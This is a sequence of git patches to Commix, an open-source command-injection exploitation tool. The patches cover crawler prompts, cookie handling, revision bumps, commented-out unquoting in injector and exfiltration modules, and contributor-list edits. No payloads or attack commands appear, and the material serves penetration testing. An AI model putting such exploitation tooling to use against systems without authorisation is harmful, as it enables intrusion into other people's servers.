Date: Wed, 26 Jan 2022 10:16:41 +0200
Subject: [PATCH 060/560] Minor update
---
src/utils/crawler.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index fec1c7a22f..77efdc54bf 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -245,7 +245,7 @@ def crawler(url):
if sitemap_check:
info_msg += "identified 'sitemap.xml' "
info_msg += "for usable links (with GET parameters). "
- sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+ sys.stdout.write("\n" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if not sitemap_check:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 85be98352a..9727ce9a0b 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "55"
+REVISION = "56"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 939cf792c0b75233278493e8679969178ee933e0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 27 Jan 2022 09:29:32 +0200
Subject: [PATCH 061/560] Minor eye-candy fix
---
src/core/injections/controller/checks.py | 2 ++
src/utils/crawler.py | 2 +-
src/utils/settings.py | 4 +++-
3 files changed, 6 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 1cbafc53e2..3756c1672a 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -55,6 +55,8 @@
def not_declared_cookies(response):
try:
candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1)
+ if candidate:
+ settings.DECLARED_COOKIES = True
while True:
if not menu.options.batch:
question_msg = "You have not declared cookie(s), while "
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 77efdc54bf..3659cbc12e 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -256,7 +256,7 @@ def crawler(url):
if SKIPPED_URLS == 0:
print(settings.SINGLE_WHITESPACE)
- if not settings.VERBOSITY_LEVEL >= 2:
+ if not settings.VERBOSITY_LEVEL >= 2 and not settings.DECLARED_COOKIES:
print(settings.SINGLE_WHITESPACE)
info_msg = "Visited " + str(len(output_href)) + " link"+ "s"[len(output_href) == 1:] + "."
print(settings.print_info_msg(info_msg))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 9727ce9a0b..d4a43f0b46 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "56"
+REVISION = "57"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1054,4 +1054,6 @@ def sys_argv_errors():
# Force usage of given HTTP method (e.g. PUT).
HTTP_METHOD = ""
+DECLARED_COOKIES = False
+
# eof
\ No newline at end of file
From c0fe69cce0d7d368f44047eb8d73d45e2c370fb4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 28 Jan 2022 08:34:31 +0200
Subject: [PATCH 062/560] Minor update
---
src/core/injections/controller/checks.py | 2 ++
src/utils/crawler.py | 7 ++-----
src/utils/settings.py | 4 +++-
3 files changed, 7 insertions(+), 6 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 3756c1672a..fae49e0e75 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -57,6 +57,8 @@ def not_declared_cookies(response):
candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1)
if candidate:
settings.DECLARED_COOKIES = True
+ if settings.CRAWLED_SKIPPED_URLS != 0:
+ print(settings.SINGLE_WHITESPACE)
while True:
if not menu.options.batch:
question_msg = "You have not declared cookie(s), while "
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 3659cbc12e..952f7d24a8 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -26,7 +26,6 @@
SITEMAP_LOC = []
HREF_LIST = []
-SKIPPED_URLS = 0
def store_crawling():
while True:
@@ -57,7 +56,6 @@ def store_crawling():
Do a request to target URL.
"""
def request(url):
- global SKIPPED_URLS
try:
# Check if defined POST data
if menu.options.data:
@@ -73,8 +71,7 @@ def request(url):
sys.stdout.write(settings.print_critical_msg(err_msg))
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
- SKIPPED_URLS += 1
-
+ settings.CRAWLED_SKIPPED_URLS += 1
"""
Check for URLs in sitemap.xml.
@@ -253,7 +250,7 @@ def crawler(url):
if menu.options.crawldepth > 1:
for url in output_href:
output_href = do_process(url)
- if SKIPPED_URLS == 0:
+ if settings.CRAWLED_SKIPPED_URLS == 0:
print(settings.SINGLE_WHITESPACE)
if not settings.VERBOSITY_LEVEL >= 2 and not settings.DECLARED_COOKIES:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index d4a43f0b46..929283e72e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "57"
+REVISION = "58"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1056,4 +1056,6 @@ def sys_argv_errors():
DECLARED_COOKIES = False
+CRAWLED_SKIPPED_URLS = 0
+
# eof
\ No newline at end of file
From b81d434bf25edc6398a8aa66e95a889e52e1f626 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 29 Jan 2022 12:20:08 +0200
Subject: [PATCH 063/560] Minor update
---
src/utils/crawler.py | 4 ++--
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 952f7d24a8..b6be438bdb 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -177,12 +177,12 @@ def crawler(url):
else:
while True:
if not menu.options.batch:
- question_msg = "Do you want to change the crawling depth level? [Y/n] > "
+ question_msg = "Do you want to change the crawling depth level? [y/N] > "
message = _input(settings.print_question_msg(question_msg))
else:
message = ""
if len(message) == 0:
- message = "Y"
+ message = "N"
if message in settings.CHOICE_YES or message in settings.CHOICE_NO:
break
elif message in settings.CHOICE_QUIT:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 929283e72e..8b39b28f88 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "58"
+REVISION = "59"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From fcf3c33d816da98c6eeed33ae428556654329959 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 30 Jan 2022 10:33:33 +0200
Subject: [PATCH 064/560] Minor fix
---
src/core/requests/headers.py | 3 ++-
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 2 deletions(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 731a9eb0eb..b4aff61a45 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -247,7 +247,8 @@ def https_open(self, req):
not settings.IS_JSON and \
not settings.IS_XML and \
not str(err.code) == settings.INTERNAL_SERVER_ERROR and \
- not str(err.code) == settings.BAD_REQUEST:
+ not str(err.code) == settings.BAD_REQUEST and \
+ not settings.CRAWLED_SKIPPED_URLS == 0:
print(settings.SINGLE_WHITESPACE)
# error_msg = "Got " + str(err).replace(": "," (")
# Check for 3xx, 4xx, 5xx HTTP error codes.
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 8b39b28f88..3d839b42ef 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "59"
+REVISION = "60"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 06766115c30ca4c54cdff4f485c1c631cb1c3161 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 31 Jan 2022 08:49:17 +0200
Subject: [PATCH 065/560] Minor fixes regarding crawler
---
src/core/main.py | 5 +++
src/utils/crawler.py | 92 +++++++++++++++++++++++++++----------------
src/utils/settings.py | 2 +-
3 files changed, 65 insertions(+), 34 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index 4d5204ecf4..29eaed0932 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -747,6 +747,11 @@ def main(filename, url):
if menu.options.os:
checks.user_defined_os()
+ if menu.options.crawldepth > 2:
+ err_msg = "Depth level '" + str(menu.options.crawldepth) + "' is not a valid."
+ print(settings.print_error_msg(err_msg))
+ raise SystemExit()
+
# Check if defined "--check-tor" option.
if menu.options.tor_check and not menu.options.tor:
err_msg = "The '--check-tor' swich requires usage of switch '--tor'."
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index b6be438bdb..2d08a9f117 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -111,6 +111,8 @@ def sitemap(url):
pass
return SITEMAP_LOC
except:
+ if not menu.options.crawldepth:
+ raise SystemExit()
pass
"""
@@ -167,47 +169,67 @@ def do_process(url):
"""
def crawler(url):
if not menu.options.sitemap_url:
- if menu.options.crawldepth > 2:
- err_msg = "Depth level '" + str(menu.options.crawldepth) + "' is not a valid."
- print(settings.print_error_msg(err_msg))
- raise SystemExit()
info_msg = "Starting crawler and searching for "
info_msg += "links with depth " + str(menu.options.crawldepth) + "."
print(settings.print_info_msg(info_msg))
else:
- while True:
- if not menu.options.batch:
- question_msg = "Do you want to change the crawling depth level? [y/N] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "N"
- if message in settings.CHOICE_YES or message in settings.CHOICE_NO:
- break
- elif message in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + message + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
- # Change the crawling depth level.
- if message in settings.CHOICE_YES:
+ message = ""
+ if not menu.options.crawldepth:
while True:
- question_msg = "Please enter the crawling depth level (1-2) > "
- message = _input(settings.print_question_msg(question_msg))
+ if not menu.options.batch:
+ question_msg = "Do you want to enable crawler? [y/N] > "
+ message = _input(settings.print_question_msg(question_msg))
+ else:
+ message = ""
+ if len(message) == 0:
+ message = "N"
+ if message in settings.CHOICE_YES:
+ menu.options.crawldepth = 1
+ break
+ if message in settings.CHOICE_NO:
+ break
+ elif message in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + message + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+
+ if menu.options.crawldepth:
+ while True:
+ if not menu.options.batch:
+ question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > "
+ message = _input(settings.print_question_msg(question_msg))
+ else:
+ message = ""
if len(message) == 0:
- message = 1
- break
- elif str(message) != "1" and str(message) != "2":
- err_msg = "Depth level '" + message + "' is not a valid answer."
+ message = "N"
+ if message in settings.CHOICE_YES or message in settings.CHOICE_NO:
+ break
+ elif message in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + message + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
- else:
- menu.options.crawldepth = message
- break
+ # Change the crawling depth level.
+ if message in settings.CHOICE_YES:
+ while True:
+ question_msg = "Please enter the crawling depth level (1-2) > "
+ message = _input(settings.print_question_msg(question_msg))
+ if len(message) == 0:
+ message = 1
+ break
+ elif str(message) != "1" and str(message) != "2":
+ err_msg = "Depth level '" + message + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+ else:
+ menu.options.crawldepth = message
+ break
while True:
+ sitemap_check = None
if not menu.options.sitemap_url:
if not menu.options.batch:
question_msg = "Do you want to check target for "
@@ -230,6 +252,7 @@ def crawler(url):
print(settings.print_error_msg(err_msg))
pass
else:
+ message = "n"
sitemap_check = True
break
@@ -242,12 +265,15 @@ def crawler(url):
if sitemap_check:
info_msg += "identified 'sitemap.xml' "
info_msg += "for usable links (with GET parameters). "
- sys.stdout.write("\n" + settings.print_info_msg(info_msg))
+ if message in settings.CHOICE_NO and not menu.options.sitemap_url:
+ sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+ else:
+ sys.stdout.write("\n" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if not sitemap_check:
output_href = do_process(url)
- if menu.options.crawldepth > 1:
+ if int(menu.options.crawldepth) > 1:
for url in output_href:
output_href = do_process(url)
if settings.CRAWLED_SKIPPED_URLS == 0:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 3d839b42ef..a7af495668 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "60"
+REVISION = "61"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From c243818c9bcfd9b603dfe4e918325d8552211db2 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 1 Feb 2022 07:17:45 +0200
Subject: [PATCH 066/560] Fixes
https://github.com/commixproject/commix/issues/736
---
src/core/injections/controller/checks.py | 5 ++++-
src/utils/settings.py | 2 +-
2 files changed, 5 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index fae49e0e75..f9ceacaeb0 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -831,7 +831,10 @@ def wildcard_character(data):
_ = ""
for data in data.split("\\n"):
# Ignore the Accept HTTP Header
- if not data.startswith("Accept: ") and not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in data :
+ if not data.startswith("Accept: ") and \
+ not settings.WILDCARD_CHAR is None and \
+ not settings.INJECT_TAG in data and \
+ settings.WILDCARD_CHAR in data :
data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG)
_ = _ + data + "\\n"
data = _.rstrip("\\n")
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a7af495668..28afb94261 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "61"
+REVISION = "62"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 36a483656282935b6929fdf8bb17f0f51ee75691 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 3 Feb 2022 10:09:40 +0200
Subject: [PATCH 067/560] Minor update
---
.../injections/blind/techniques/time_based/tb_injector.py | 4 ++--
.../results_based/techniques/classic/cb_injector.py | 4 ++--
.../results_based/techniques/eval_based/eb_injector.py | 4 ++--
.../injections/semiblind/techniques/file_based/fb_injector.py | 4 ++--
.../semiblind/techniques/tempfile_based/tfb_injector.py | 4 ++--
src/core/modules/dns_exfiltration/dns_exfiltration.py | 2 +-
src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 2 +-
src/utils/settings.py | 2 +-
8 files changed, 13 insertions(+), 13 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index a55951dc0e..bebfa4c803 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -56,7 +56,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec,
# Check if defined method is POST.
else:
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
@@ -105,7 +105,7 @@ def injection_test(payload, http_request_method, url):
# Check if defined method is POST.
else:
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py
index 74c9c7d3a8..371f737be6 100755
--- a/src/core/injections/results_based/techniques/classic/cb_injector.py
+++ b/src/core/injections/results_based/techniques/classic/cb_injector.py
@@ -64,7 +64,7 @@ def injection_test(payload, http_request_method, url):
# Check if defined method is POST.
else:
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
@@ -215,7 +215,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques
else :
# Check if defined method is POST.
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
index dc1140d79d..538ed8863b 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
@@ -59,7 +59,7 @@ def injection_test(payload, http_request_method, url):
# Check if defined method is POST.
else:
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
@@ -203,7 +203,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques
else :
# Check if defined method is POST.
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index f52657da28..5a1edf8e47 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -69,7 +69,7 @@ def injection_test(payload, http_request_method, url):
# Check if defined method is POST.
else:
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
@@ -204,7 +204,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht
else:
# Check if defined method is POST.
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 6af66fa9a7..0294a98a3c 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -58,7 +58,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec,
# Check if defined method is POST.
else :
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
@@ -110,7 +110,7 @@ def injection_test(payload, http_request_method, url):
# Check if defined method is POST.
else:
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py
index 0e9f173190..998513b834 100755
--- a/src/core/modules/dns_exfiltration/dns_exfiltration.py
+++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py
@@ -196,7 +196,7 @@ def dns_exfiltration_handler(url, http_request_method):
else:
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
parameter = parameters.do_POST_check(parameter, http_request_method)
request = _urllib.request.Request(url, parameter)
headers.do_check(request)
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
index 5e0bc7e63b..5bf2ddbfda 100755
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
@@ -224,7 +224,7 @@ def icmp_exfiltration_handler(url, http_request_method):
else:
parameter = menu.options.data
- parameter = _urllib.parse.unquote(parameter)
+ #parameter = _urllib.parse.unquote(parameter)
parameter = parameters.do_POST_check(parameter, http_request_method)
request = _urllib.request.Request(url, parameter)
headers.do_check(request)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 28afb94261..7577fa220f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "62"
+REVISION = "63"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From fba9e9ace5a3aa12ced66ffebf3df102e0681cd2 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 4 Feb 2022 09:06:24 +0200
Subject: [PATCH 068/560] Update README.md
---
README.md | 1 -
1 file changed, 1 deletion(-)
diff --git a/README.md b/README.md
index cb6625b562..309a8ec79a 100644
--- a/README.md
+++ b/README.md
@@ -11,7 +11,6 @@
**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities.
-## Screenshot

From d4cca7d54fe9112e265baa030f164025398cec7f Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 7 Feb 2022 09:10:10 +0200
Subject: [PATCH 069/560] Update THANKS.md
---
doc/THANKS.md | 11 ++++++++---
1 file changed, 8 insertions(+), 3 deletions(-)
diff --git a/doc/THANKS.md b/doc/THANKS.md
index bb92530d1d..f30098a9ba 100755
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -9,18 +9,19 @@
## List of individual contributors:
* Thanks [0x27](https://github.com/0x27) for suggesting an enhancement.
* Thanks [609496288](https://github.com/609496288) for reporting a bug.
+* Thanks [6kemb0bani](https://github.com/6kemb0bani) for reporting a bug.
* Thanks [Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) for reporting a bug.
* Thanks [abdoxfox](https://github.com/abdoxfox) for reporting a bug.
* Thanks [ajinabraham](https://github.com/ajinabraham) for reporting a few bugs and for suggesting some features
* Thanks [Alan Placidina](https://github.com/Placidina) for contributing code.
-* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug. and for contributing code.
+* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug and for contributing code.
* Thanks [András Veres-Szentkirályi](https://github.com/dnet) for contributing code.
-* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code.and for suggesting an enhancement.
+* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code and for suggesting an enhancement.
* Thanks [apprentice](https://github.com/apprentice) for contributing code.
* Thanks [arbazkiraak](https://github.com/arbazkiraak) for suggesting a feature.
* Thanks [ayzikhn18](https://github.com/ayzikhn18) for reporting a bug.
* Thanks [B4RD4k](https://github.com/B4RD4k) for reporting a few bugs.
-* Thanks [blshkv](https://github.com/blshkv) for reporting a bug.and for suggesting a feature.
+* Thanks [blshkv](https://github.com/blshkv) for reporting a bug and for suggesting a feature.
* Thanks [botdigit-admin](https://github.com/botdigit-admin) for reporting a bug.
* Thanks [CaptanLuffy](https://github.com/CaptanLuffy) for reporting a bug.
* Thanks [Cat0x00](https://github.com/Cat0x00) for reporting a bug.
@@ -61,9 +62,11 @@
* Thanks [plonibarploni](https://github.com/plonibarploni) for reporting a bug.
* Thanks [pomil-1969](https://github.com/pomil-1969) for reporting a bug.
* Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs.
+* Thanks [prince74igor](https://github.com/prince74igor) for suggesting an enhancement.
* Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement.
* Thanks [royshum93](https://github.com/royshum93) for reporting a bug.
* Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug.
+* Thanks [saltasatelites](https://github.com/saltasatelites) for reporting a bug.
* Thanks [scblakely](https://github.com/scblakely) for reporting a bug.
* Thanks [shaojava](https://github.com/shaojava) for reporting a bug.
* Thanks [shelld3v](https://github.com/shelld3v) for contributing code.
@@ -72,6 +75,7 @@
* Thanks [Slavery](https://github.com/Slavery) for reporting a bug.
* Thanks [sno0ose](https://github.com/sno0ose) for reporting a bug.
* Thanks [somarrr](https://github.com/somarrr) for reporting a bug.
+* Thanks [Suselz](https://github.com/Suselz) for reporting a few bugs and for suggesting suggesting enhancements.
* Thanks [td4b](https://github.com/td4b) for contributing code.
* Thanks [techn0tr0ll](https://github.com/techn0tr0ll) for reporting a bug.
* Thanks [Tensha](https://github.com/Tensha) for reporting a bug.
@@ -85,6 +89,7 @@
* Thanks [VolkNwn](https://github.com/VolkNwn) for reporting a bug.
* Thanks [w9w](https://github.com/w9w) for reporting a bug.
* Thanks [WangSongsen](https://github.com/WangSongsen) for reporting a bug.
+* Thanks [webideveli](https://github.com/webideveli) for reporting a bug.
* Thanks [xsuperbug.](https://github.com/xsuperbug.) for suggesting a few features
* Thanks [XVilka](https://github.com/XVilka) for suggesting an enhancement.
* Thanks [yournainaidi](https://github.com/yournainaidi) for reporting a few bugs.
From 88f06f5b7a7ecfcddda23127c54d37a02cacae4f Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 10 Feb 2022 08:51:44 +0200
Subject: [PATCH 070/560] Minor update
---
src/core/injections/controller/controller.py | 50 ++++++++------------
src/utils/settings.py | 2 +-
2 files changed, 21 insertions(+), 31 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 01d48e8882..db91e3a17f 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -514,7 +514,6 @@ def cookie_injection(url, http_request_method, filename, timesec):
"""
def get_request(url, http_request_method, filename, timesec):
- #if not settings.COOKIE_INJECTION:
found_url = parameters.do_GET_check(url, http_request_method)
if found_url != False:
@@ -555,16 +554,11 @@ def get_request(url, http_request_method, filename, timesec):
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
- # Enable Cookie Injection
- if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and menu.options.cookie:
- settings.COOKIE_INJECTION = True
-
"""
Check if HTTP Method is POST.
"""
def post_request(url, http_request_method, filename, timesec):
-
parameter = menu.options.data
found_parameter = parameters.do_POST_check(parameter, http_request_method)
@@ -618,10 +612,6 @@ def post_request(url, http_request_method, filename, timesec):
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
- # Enable Cookie Injection
- if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and menu.options.cookie:
- settings.COOKIE_INJECTION = True
-
"""
Perform checks
"""
@@ -672,28 +662,28 @@ def basic_level_checks():
if settings.PERFORM_BASIC_SCANS:
basic_level_checks()
- # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2).
- if menu.options.level >= settings.HTTP_HEADER_INJECTION_LEVEL:
- if settings.INJECTED_HTTP_HEADER == False :
- check_parameter = ""
- stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec)
- else:
+ if menu.options.level >= settings.COOKIE_INJECTION_LEVEL:
# Enable Cookie Injection
- if menu.options.level > settings.DEFAULT_INJECTION_LEVEL:
- if menu.options.cookie:
- cookie_injection(url, http_request_method, filename, timesec)
- else:
- warn_msg = "The HTTP Cookie header is not provided, "
- warn_msg += "so this test is going to be skipped."
